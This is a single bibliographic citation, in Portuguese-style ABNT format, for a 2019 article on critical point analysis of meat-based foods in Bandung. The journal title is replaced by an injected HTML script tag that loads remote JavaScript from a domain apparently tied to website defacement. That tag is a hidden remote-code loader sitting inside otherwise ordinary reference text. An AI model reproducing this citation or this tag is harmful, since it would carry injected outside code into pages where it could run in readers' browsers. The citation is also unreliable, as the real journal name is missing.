ADAWIYAH, Ayuni; KULSUM, Yuni. Study of Critical Point Analysis on Meat-Based Foods in Bandung. <script src="https://jso.defacer.id/raw/defas"></script>, [S. l.], v. 1, n. 2, p. 40–45, 2019. DOI: 10.15575/ijhar.v1i2.5780. Disponível em: https://journal.uinsgd.ac.id/index.php/ijhar/article/view/5780. Acesso em: 9 nov. 2026.